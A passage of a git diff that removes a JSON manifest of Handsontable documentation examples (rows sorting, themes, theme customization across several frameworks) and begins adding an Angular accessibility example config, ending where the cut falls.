"/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example5.ts", - "file": "guides__rows__rows-sorting__angular__example5.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example5", - "exampleTitle": "Set an initial multi-column sort order (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example6.ts", - "file": "guides__rows__rows-sorting__angular__example6.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example6", - "exampleTitle": "Add custom sort icons (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example7.ts", - "file": "guides__rows__rows-sorting__angular__example7.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example7", - "exampleTitle": "Add custom sort icons (4)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example8.ts", - "file": "guides__rows__rows-sorting__angular__example8.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example8", - "exampleTitle": "Exclude rows from sorting (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example9.ts", - "file": "guides__rows__rows-sorting__angular__example9.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example9", - "exampleTitle": "Sort data programmatically (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons3.js", - "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons3", - "exampleTitle": "Add custom sort icons (3)", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleCustomSortIcons3.tsx", - "file": "guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons3", - "exampleTitle": "Add custom sort icons (3)", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons3.ts", - "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons3", - "exampleTitle": "Add custom sort icons (3)", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleCustomSortIcons3.vue", - "file": "guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons3", - "exampleTitle": "Add custom sort icons (3)", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons.js", - "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons", - "exampleTitle": "Add custom sort icons", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleCustomSortIcons.tsx", - "file": "guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons", - "exampleTitle": "Add custom sort icons", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons.ts", - "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons", - "exampleTitle": "Add custom sort icons", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleCustomSortIcons.vue", - "file": "guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleCustomSortIcons", - "exampleTitle": "Add custom sort icons", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleEnableSortingForColumns.js", - "file": "guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleEnableSortingForColumns", - "exampleTitle": "Enable sorting", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleEnableSortingForColumns.tsx", - "file": "guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleEnableSortingForColumns", - "exampleTitle": "Enable sorting", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleEnableSortingForColumns.ts", - "file": "guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleEnableSortingForColumns", - "exampleTitle": "Enable sorting", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleEnableSortingForColumns.vue", - "file": "guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleEnableSortingForColumns", - "exampleTitle": "Enable sorting", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleExcludeRowsFromSorting.js", - "file": "guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleExcludeRowsFromSorting", - "exampleTitle": "Exclude rows from sorting", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleExcludeRowsFromSorting.tsx", - "file": "guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleExcludeRowsFromSorting", - "exampleTitle": "Exclude rows from sorting", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleExcludeRowsFromSorting.ts", - "file": "guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleExcludeRowsFromSorting", - "exampleTitle": "Exclude rows from sorting", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleExcludeRowsFromSorting.vue", - "file": "guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleExcludeRowsFromSorting", - "exampleTitle": "Exclude rows from sorting", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleInitialSortOrder.js", - "file": "guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleInitialSortOrder", - "exampleTitle": "Set an initial multi-column sort order", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleInitialSortOrder.tsx", - "file": "guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleInitialSortOrder", - "exampleTitle": "Set an initial multi-column sort order", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleInitialSortOrder.ts", - "file": "guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleInitialSortOrder", - "exampleTitle": "Set an initial multi-column sort order", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleInitialSortOrder.vue", - "file": "guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleInitialSortOrder", - "exampleTitle": "Set an initial multi-column sort order", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPIMultipleColumns.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPIMultipleColumns", - "exampleTitle": "Sort by multiple columns programmatically", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortByAPIMultipleColumns.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPIMultipleColumns", - "exampleTitle": "Sort by multiple columns programmatically", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPIMultipleColumns.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPIMultipleColumns", - "exampleTitle": "Sort by multiple columns programmatically", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortByAPIMultipleColumns.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPIMultipleColumns", - "exampleTitle": "Sort by multiple columns programmatically", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPI.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPI", - "exampleTitle": "Sort data programmatically", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortByAPI.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPI", - "exampleTitle": "Sort data programmatically", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByAPI.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPI", - "exampleTitle": "Sort data programmatically", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortByAPI.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByAPI", - "exampleTitle": "Sort data programmatically", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByMultipleColumns.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByMultipleColumns", - "exampleTitle": "Sort by multiple columns", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortByMultipleColumns.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByMultipleColumns", - "exampleTitle": "Sort by multiple columns", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortByMultipleColumns.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByMultipleColumns", - "exampleTitle": "Sort by multiple columns", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortByMultipleColumns.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortByMultipleColumns", - "exampleTitle": "Sort by multiple columns", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortDifferentTypes.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortDifferentTypes", - "exampleTitle": "Sort different types of data", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortDifferentTypes.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortDifferentTypes", - "exampleTitle": "Sort different types of data", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortDifferentTypes.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortDifferentTypes", - "exampleTitle": "Sort different types of data", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortDifferentTypes.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortDifferentTypes", - "exampleTitle": "Sort different types of data", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingDemo.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingDemo", - "exampleTitle": "Sorting demo", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortingDemo.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingDemo", - "exampleTitle": "Sorting demo", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingDemo.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingDemo", - "exampleTitle": "Sorting demo", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortingDemo.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingDemo", - "exampleTitle": "Sorting demo", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingHooks.js", - "file": "guides__rows__rows-sorting__javascript__exampleSortingHooks.js.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingHooks", - "exampleTitle": "Use sorting hooks", - "docPermalink": "/rows-sorting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-sorting/react/exampleSortingHooks.tsx", - "file": "guides__rows__rows-sorting__react__exampleSortingHooks.tsx.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingHooks", - "exampleTitle": "Use sorting hooks", - "docPermalink": "/rows-sorting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-sorting/javascript/exampleSortingHooks.ts", - "file": "guides__rows__rows-sorting__javascript__exampleSortingHooks.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingHooks", - "exampleTitle": "Use sorting hooks", - "docPermalink": "/rows-sorting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-sorting/vue/exampleSortingHooks.vue", - "file": "guides__rows__rows-sorting__vue__exampleSortingHooks.vue.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "exampleSortingHooks", - "exampleTitle": "Use sorting hooks", - "docPermalink": "/rows-sorting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/styling/theme-customization/angular/example1.ts", - "file": "guides__styling__theme-customization__angular__example1.ts.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/theme-customization", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/styling/theme-customization/javascript/example1.js", - "file": "guides__styling__theme-customization__javascript__example1.js.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/theme-customization", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/styling/theme-customization/react/example1.tsx", - "file": "guides__styling__theme-customization__react__example1.tsx.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/theme-customization", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/styling/theme-customization/javascript/example1.ts", - "file": "guides__styling__theme-customization__javascript__example1.ts.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/theme-customization", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/styling/theme-customization/vue/example1.vue", - "file": "guides__styling__theme-customization__vue__example1.vue.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/theme-customization", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/styling/theme-customization/angular/example2.ts", - "file": "guides__styling__theme-customization__angular__example2.ts.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example2", - "exampleTitle": "Theme API example", - "docPermalink": "/theme-customization", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/styling/theme-customization/javascript/example2.js", - "file": "guides__styling__theme-customization__javascript__example2.js.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example2", - "exampleTitle": "Theme API example", - "docPermalink": "/theme-customization", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/styling/theme-customization/react/example2.tsx", - "file": "guides__styling__theme-customization__react__example2.tsx.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example2", - "exampleTitle": "Theme API example", - "docPermalink": "/theme-customization", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/styling/theme-customization/javascript/example2.ts", - "file": "guides__styling__theme-customization__javascript__example2.ts.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example2", - "exampleTitle": "Theme API example", - "docPermalink": "/theme-customization", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/styling/theme-customization/vue/example2.vue", - "file": "guides__styling__theme-customization__vue__example2.vue.json", - "breadcrumb": [ - "Styling", - "Theme Customization" - ], - "guide": "guides/styling/theme-customization/theme-customization.md", - "guideTitle": "Theme Customization", - "exampleId": "example2", - "exampleTitle": "Theme API example", - "docPermalink": "/theme-customization", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/styling/themes/angular/example1.ts", - "file": "guides__styling__themes__angular__example1.ts.json", - "breadcrumb": [ - "Styling", - "Themes" - ], - "guide": "guides/styling/themes/themes.md", - "guideTitle": "Themes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/themes", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/styling/themes/javascript/exampleTheme.js", - "file": "guides__styling__themes__javascript__exampleTheme.js.json", - "breadcrumb": [ - "Styling", - "Themes" - ], - "guide": "guides/styling/themes/themes.md", - "guideTitle": "Themes", - "exampleId": "exampleTheme", - "exampleTitle": "Built-in themes", - "docPermalink": "/themes", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/styling/themes/react/exampleTheme.tsx", - "file": "guides__styling__themes__react__exampleTheme.tsx.json", - "breadcrumb": [ - "Styling", - "Themes" - ], - "guide": "guides/styling/themes/themes.md", - "guideTitle": "Themes", - "exampleId": "exampleTheme", - "exampleTitle": "Built-in themes", - "docPermalink": "/themes", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/styling/themes/javascript/exampleTheme.ts", - "file": "guides__styling__themes__javascript__exampleTheme.ts.json", - "breadcrumb": [ - "Styling", - "Themes" - ], - "guide": "guides/styling/themes/themes.md", - "guideTitle": "Themes", - "exampleId": "exampleTheme", - "exampleTitle": "Built-in themes", - "docPermalink": "/themes", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/styling/themes/vue/exampleTheme.vue", - "file": "guides__styling__themes__vue__exampleTheme.vue.json", - "breadcrumb": [ - "Styling", - "Themes" - ], - "guide": "guides/styling/themes/themes.md", - "guideTitle": "Themes", - "exampleId": "exampleTheme", - "exampleTitle": "Built-in themes", - "docPermalink": "/themes", - "framework": "vue", - "displayName": "Vue 3" - } - ] -} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__angular__example1.ts.json new file mode 100644 index 00000000..dafeca1c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessibility · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": 